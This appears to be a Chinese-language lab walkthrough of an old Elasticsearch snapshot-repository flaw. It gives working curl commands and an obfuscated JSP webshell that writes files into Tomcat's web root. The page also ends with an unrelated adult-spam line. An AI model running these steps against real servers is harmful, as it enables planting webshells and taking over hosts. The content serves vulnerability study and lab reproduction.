<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Elasticsearch寫入webshell漏洞(WooYun-2015-110216)

    Path elasticsearch/WooYun-2015-110216

    原理

    ElasticSearch具有備份數據的功能,用戶可以傳入一個路徑,讓其將數據備份到該路徑下,且文件名和后綴都可控。

    所以,如果同文件系統下還跑著其他服務,如Tomcat、PHP等,我們可以利用ElasticSearch的備份功能寫入一個webshell。

    和CVE-2015-5531類似,該漏洞和備份倉庫有關。在elasticsearch1.5.1以后,其將備份倉庫的根路徑限制在配置文件的配置項path.repo中,而且如果管理員不配置該選項,則默認不能使用該功能。即使管理員配置了該選項,web路徑如果不在該目錄下,也無法寫入webshell。所以該漏洞影響的ElasticSearch版本是1.5.x以前。

    測試環境

    編譯與啟動測試環境:

    docker-compose build
    docker-compose up -d

    簡單介紹一下本測試環境。本測試環境同時運行了Tomcat和ElasticSearch,Tomcat目錄在/usr/local/tomcat,web目錄是/usr/local/tomcat/webapps;ElasticSearch目錄在/usr/share/elasticsearch

    我們的目標就是利用ElasticSearch,在/usr/local/tomcat/webapps目錄下寫入我們的webshell。

    測試流程

    首先創建一個惡意索引文檔:

    curl -XPOST http://127.0.0.1:9200/yz.jsp/yz.jsp/1 -d'
    {"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}
    '

    再創建一個惡意的存儲庫,其中location的值即為我要寫入的路徑。

    園長:這個Repositories的路徑比較有意思,因為他可以寫到可以訪問到的任意地方,并且如果這個路徑不存在的話會自動創建。那也就是說你可以通過文件訪問協議創建任意的文件夾。這里我把這個路徑指向到了tomcat的web部署目錄,因為只要在這個文件夾創建目錄Tomcat就會自動創建一個新的應用(文件名為wwwroot的話創建出來的應用名稱就是wwwroot了)。

    curl -XPUT 'http://127.0.0.1:9200/_snapshot/yz.jsp' -d '{
         "type": "fs",
         "settings": {
              "location": "/usr/local/tomcat/webapps/wwwroot/",
              "compress": false
         }
    }'

    存儲庫驗證并創建:

    curl -XPUT "http://127.0.0.1:9200/_snapshot/yz.jsp/yz.jsp" -d '{
         "indices": "yz.jsp",
         "ignore_unavailable": "true",
         "include_global_state": false
    }'

    完成!

    訪問http://127.0.0.1:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp,這就是我們寫入的webshell。

    該shell的作用是向wwwroot下的test.jsp文件中寫入任意字符串,如:http://127.0.0.1:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp?f=success,我們再訪問/wwwroot/test.jsp就能看到success了:

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类